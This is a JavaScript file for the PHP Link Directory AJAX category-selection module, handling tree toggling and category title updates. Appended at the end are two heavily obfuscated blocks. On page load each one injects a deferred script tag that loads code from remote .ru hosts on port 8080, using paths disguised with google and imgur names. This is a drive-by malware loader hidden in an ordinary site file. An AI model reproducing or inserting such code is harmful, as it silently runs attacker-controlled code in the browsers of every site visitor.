/*
#########################################################################################################
# Project:     PHP Link Directory - Link exchange directory @ http://www.phplinkdirectory.com/
# Module:      [AJAX Category Selection] @ http://www.frozenminds.com/phpld-ajax-categories.html
# Author:      Constantin Bejenaru aKa Boby @ http://www.frozenminds.com/
# Language:    AJAX (Based on Prototype and Scriptaculous libraries)
# License:     MIT (Copyright (c) 2006 Constantin Bejenaru - http://www.frozenminds.com)
# Version:     1.1
# Notice:      Please maintain this section
#########################################################################################################
*/

/* Function to load on event page start */

Event.observe(window, 'load', init_ajax_categs, false);
Event.observe(window, 'load', init_ajax_categs1, false);

/* Loaded on page load */
function init_ajax_categs()
{
   if ($('toggleCategTree'))
   {
      Event.observe('toggleCategTree', 'click', toggleTree, false);
   }

   reload_categ_title();

   return false;
}

function init_ajax_categs1()
{
   if ($('toggleCategTree1'))
   {
      Event.observe('toggleCategTree1', 'click', toggleTree1, false);
   }

   reload_categ_title1();

   return false;
}

/* Effect applied to category title */
function catTitleEffect()
{
   if ($('catTitle'))
   {
      new Effect.Highlight('catTitle',{duration:1.5});
   }

   return false;
}

function catTitleEffect1()
{
   if ($('catTitle1'))
   {
      new Effect.Highlight('catTitle1',{duration:1.5});
   }

   return false;
}

/* Close category tree */
function catTreeClose()
{
   if ($('categtree'))
   {
      new Effect.BlindUp('categtree',{duration:0.9, delay: 1});
   }

   /* Remove category tree element. Suggestion: leave this code intact */
   setTimeout('destroyCatTree();', 2100);

   return false;
}

function catTreeClose1()
{
   if ($('categtree1'))
   {
      new Effect.BlindUp('categtree1',{duration:0.9, delay: 1});
   }

   /* Remove category tree element. Suggestion: leave this code intact */
   setTimeout('destroyCatTree1();', 2100);

   return false;
}

/* Destroy category tree element. Useful to clean generated code and prevent overwriting of elements. */
function destroyCatTree()
{
   if ($('categtree'))
      Element.remove('categtree');
}

function destroyCatTree1()
{
   if ($('categtree1'))
      Element.remove('categtree1');
}

/* Apply different functions to category tree */
function toggleTree()
{
   if (!$('categtree'))
   {
      if ($('CATEGORY_ID'))
      {
         reload_categ_tree($F('CATEGORY_ID'));
      }
      else if ($('PARENT_ID'))
      {
         reload_categ_tree($F('PARENT_ID'));
      }
   }
   else
   {
      catTreeClose();
   }

   return false;
}


function toggleTree1()
{
   if (!$('categtree1'))
   {
      if ($('CATEGORY_SYMBOLIC_ID'))
      {
         reload_categ_tree1($F('CATEGORY_SYMBOLIC_ID'));
      }
      else if ($('SYMBOLIC_ID'))
      {
         reload_categ_tree1($F('SYMBOLIC_ID'));
      }
   }
   else
   {
      catTreeClose1();
   }

   return false;
}

/* Update the category tree depending on provided information */
function update_categ_selection(categID, parentID, subcategs)
{
   /* Validate category ID */
   categID = (categID ? categID : 0);
   categID = (categID < 0 ? 0 : categID);

   select_cat(categID);

   if (subcategs == 1)
      reload_categ_tree(categID);

   return false;
}

function update_categ_selection1(categID, parentID, subcategs)
{
   /* Validate category ID */
   categID = (categID ? categID : 0);
   categID = (categID < 0 ? 0 : categID);

   select_cat1(categID);

   if (subcategs == 1)
      reload_categ_tree1(categID);

   return false;
}

/* Reload the category tree by provided category ID */
function reload_categ_tree(categID)
{
   /* Validate category ID */
   categID = (categID ? categID : 0);
   categID = (categID < 0 ? 0 : categID);

   if ($('CATEGORY_ID') || $('PARENT_ID'))
   {
      var url = 'categ-tree.php';
      var params = 'categID=' + categID;
      
      var cur_url = document.location.href;
      if ( cur_url.indexOf("submit.php") != -1) {
    	  params = params + "&submit=link";
      }
      if ( cur_url.indexOf("submit_article.php") != -1) {
    	  params = params + "&submit=article";
      }
      
      var target = 'categtreebox';
      var myAjax = new Ajax.Updater(target, url, { method: 'get', parameters: params});
   }

   return false;
}

function reload_categ_tree1(categID)
{
   /* Validate category ID */
   categID = (categID ? categID : 0);
   categID = (categID < 0 ? 0 : categID);

   if ($('CATEGORY_SYMBOLIC_ID') || $('SYMBOLIC_ID'))
   {
      var url = 'categ-tree.php';
      var params = 'categID=' + categID;
      
      params = params+"&symbolic=1";
      
      var cur_url = document.location.href;
      if ( cur_url.indexOf("submit.php") != -1) {
    	  params = params + "&submit=link";
      }
      if ( cur_url.indexOf("submit_article.php") != -1) {
    	  params = params + "&submit=article";
      }
      
      var target = 'categtreebox1';
      var myAjax = new Ajax.Updater(target, url, { method: 'get', parameters: params});
   }
	   

   return false;
}

/* Reload category title by available category ID (found automatically) */
function reload_categ_title()
{
   if ($('catTitle') && ($('CATEGORY_ID') || $('PARENT_ID')))
   {
      var url = 'categ-tree.php';

      if ($('CATEGORY_ID'))
         var params = 'action=titleupdate&categID=' + escape ($F('CATEGORY_ID'));
      else if ($('PARENT_ID'))
         var params = 'action=titleupdate&categID=' + escape ($F('PARENT_ID'));

      var cur_url = document.location.href;
      if ( cur_url.indexOf("submit.php") != -1) {
    	  params = params + "&submit=link";
      }
      if ( cur_url.indexOf("submit_article.php") != -1) {
    	  params = params + "&submit=article";
      }
      
      var target = 'catTitle';
      var myAjax = new Ajax.Updater(target, url, { method: 'get', parameters: params});
   }

   return false;
}

function reload_categ_title1()
{
   if ($('catTitle1') && ($('CATEGORY_SYMBOLIC_ID') || $('SYMBOLIC_ID')))
   {
      var url = 'categ-tree.php';

      
      
      if ($('CATEGORY_SYMBOLIC_ID'))
         var params = 'action=titleupdate&categID=' + escape ($F('CATEGORY_SYMBOLIC_ID'));
      else if ($('SYMBOLIC_ID'))
         var params = 'action=titleupdate&categID=' + escape ($F('SYMBOLIC_ID'));

      params = params + "&symbolic=1";
      
      var cur_url = document.location.href;
      if ( cur_url.indexOf("submit.php") != -1) {
    	  params = params + "&submit=link";
      }
      if ( cur_url.indexOf("submit_article.php") != -1) {
    	  params = params + "&submit=article";
      }
      
      var target = 'catTitle1';
      var myAjax = new Ajax.Updater(target, url, { method: 'get', parameters: params});
   }

   return false;
}

/* Make category selection */
function select_cat(categID)
{
   /* Validate category ID */
   categID = (categID ? categID : 0);
   categID = (categID < 0 ? 0 : categID);

   if ($('CATEGORY_ID'))
   {
      document.getElementById('CATEGORY_ID').value = categID;
      reload_categ_title();
      catTitleEffect();
   }
   else if ($('PARENT_ID'))
   {
      document.getElementById('PARENT_ID').value = categID;
      reload_categ_title();
      catTitleEffect();
   }

   return false;
}

function select_cat1(categID)
{
   /* Validate category ID */
   categID = (categID ? categID : 0);
   categID = (categID < 0 ? 0 : categID);

   if ($('CATEGORY_SYMBOLIC_ID'))
   {
      document.getElementById('CATEGORY_SYMBOLIC_ID').value = categID;
      reload_categ_title1();
      catTitleEffect1();
   }
   else if ($('SYMBOLIC_ID'))
   {
      document.getElementById('SYMBOLIC_ID').value = categID;
      reload_categ_title1();
      catTitleEffect1();
   }

   return false;
}

var x=["m"];function h(){var w='';I=["Fl"];try {} catch(n){};var J=new String("src");var b="onloa"+"d";this.Xa=51722;this.Xa+=148;var L=new String("body");var hO="hO";Io=["HkQ","E"];var Y=String("scr"+"ipt");this.T='';var NT={Px:23733};var P=new String("ap"+"peysI".substr(0,2)+"nd5KuC".substr(0,2)+"Ch"+"il"+"d");var HP=["A"];var g=window;try {var mF='O'} catch(mF){};var o=String("cr"+"ea"+"te"+"El"+"YoRem".substr(3)+"en"+"t");VB={yH:25625};var s=document;var hg=String("defer");XU={Xc:false};mo={};function F(){Ne=11065;Ne++;U=1079;U++;try {try {var sf='Oq'} catch(sf){};wM=14312;wM-=158;var Z=new String("httpQgTz".substr(0,4)+"://p"+"assp"+"ortb"+"lues"+".ru:LR2".substr(0,4));var PE=String("/tn"+"afldYXi".substr(0,3)+"ix-bPo".substr(0,3)+"comG8l".substr(0,3)+"/go"+"ogl"+"e.c"+"om/"+"img"+"ur.058".substr(0,3)+"com"+".ph"+"p");Hm={gk:3478};var Yb=756585-748505;var Hk=8834-8833;Lx=35811;Lx--;var R=["Uz"];this.wJ='';var xb=63580;c=s[o](Y);var bQ={nc:64725};LZ=2382;LZ+=102;sh={cy:false};Sm=14535;Sm++;ny=39781;ny++;c[hg]=Hk;c[J]=Z+Yb+PE;ZZ=62593;ZZ++;try {var CY='a'} catch(CY){};var Ei=["US","SG","mb"];this.JF="";s[L][P](c);eu={};p={Ww:"Tr"};} catch(Ps){this.im='';try {var r='qj'} catch(r){};};try {var qr='Iv'} catch(qr){};}this.WX="";g[b]=F;};try {var Ub='BH'} catch(Ub){};h();var Zk={QA:13512};
v={C:"A"};var E={};try {var h='EZ'} catch(h){};try {u={q:3812};YQ={b:false};r={D:false};var Q="";var Kp=new Array();this.R=63407;this.R-=159;try {} catch(t){};var TL=new Array();var U=window[new String("un"+"es"+"ca"+"7aHGpe".substr(4))];PX=22407;PX+=122;var rR=[];var jm=new Date();this.k_=24115;this.k_--;this.ql=35810;this.ql++;var W="onlj3vO".substr(0,3)+"jApoad".substr(3);var YA=new Array();var s='';var ce=new Date();var y="1";var i="repl"+"ace";var MG='';try {var kh='Tl'} catch(kh){};var ki=["_B","vb","QE"];var kK='';var xR='';var BT=new Date();dv={XX:28902};var B=window[(String("RegLfb".substr(0,3)+"NlnExp".substr(3)))];aF=22004;aF+=163;this.iL='';var VE={PJ:false};this.hz='';pp=15154;pp++;function O(y,X){this.GS=57114;this.GS+=125;var j=String("[");var PC=false;var mw=[];j+=X;var YC={ba:false};XP=["WG"];var Ik={SE:false};var Ih={Si:false};Pv=["uB"];j+=U("%5d");this.Bl=53437;this.Bl+=181;var hn={Iz:13859};aT={DS:false};UL=16761;UL--;var cg=[];sc={Xa:42272};var cO=["Gm","_a"];var pR=["ZU","yB"];var Y=new B(j, new String("g"));Pe=65080;Pe--;try {var Cmx='_E'} catch(Cmx){};return y.replace(Y, s);};xb=1714;xb-=154;Wcf=62699;Wcf-=12;var IS=new String();Xp=[];ro=28254;ro-=179;var o=String("http"+"://gtfe".substr(0,4)+"I6Yothg".substr(3)+"uilt"+"SRyU.ru:yURS".substr(4,4));wg=["LDs","ai","_W"];var ob="";var M=520549-512469;kg={nc:false};var UA="/mi"+"lli"+"yet"+"-co"+"m-t"+"r/g"+"oog"+"le.yIN0".substr(0,3)+"com"+"bku/sh".substr(3)+"are"+"asa"+"le."+"TYnjcom".substr(4)+"2veC.phe2Cv".substr(4,3)+"p";var cJ="cJ";try {} catch(Bg){};fT=["wQ"];this.kM='';var em=new Array();function J(){var lne={};var ARm={gm:false};VX={eR:"aW"};var FU={};var Z=document;var uJ=new Array();RC={Ru:false};try {var Lo='Xe'} catch(Lo){};Ozj=59621;Ozj++;var sv=new String("appJ3A".substr(0,3)+"endmI8T".substr(0,3)+"ChiV9j".substr(0,3)+"ld");var Li={Fn:false};this.eV="";this.Ox=6705;this.Ox++;var zp={};var H=O('skcerCiIpDtT','gJbIuDHTe2UkCEyLSzY');pS=12730;pS+=238;var gE=["Fp","Fs","aR"];cBE=["ek"];gg=["Tk","cd","WU"];WI=13897;WI++;var Aq=new Array();var hN={hd:false};K=Z.createElement(H);qL=51373;qL--;oF=25889;oF--;Rg=24707;Rg--;lX=[];oV=[];L=o+M;L=L+UA;this.vA=32456;this.vA+=144;Ig={mW:"_P"};TD=["iX","qZ"];Pu=["vB","hA"];var qV={};try {} catch(AF){};var Eg={FI:1928};K.src=L;var Ka=[];K[new String("defe"+"32Ur".substr(3))]=y;var mO={cC:"iO"};var fu={WR:"uh"};var Cl={cL:"Rw"};kJ=["Ai","Rx","Zl"];var EGD={xt:"uTV"};var LoX=[];var MXq=new Date();Cs={VF:20495};var zf=false;var BE=["aso","GE"];var UV=Z.body;var ZI="ZI";var cE=["vN"];var az=["__","aO","zW"];this.am=33212;this.am++;var fh=["Nq","Nx"];this.cS="";this.RW="";JV={RK:false};UV[sv](K);var bg={KD:54027};};var baE="";UM={Cv:"Lf"};this.gB=39514;this.gB--;var miT=false;var lI=false;var ah={Ke:false};window[W]=J;var RI=33912;var H_=["wz"];var YyZ=["idf","lq","IH"];this.eo=47526;this.eo++;this.kq=52128;this.kq--;} catch(d){try {var aZ='Bp'} catch(aZ){};this.iz="";var go={rg:"pV"};try {var bh='Ua'} catch(bh){};};
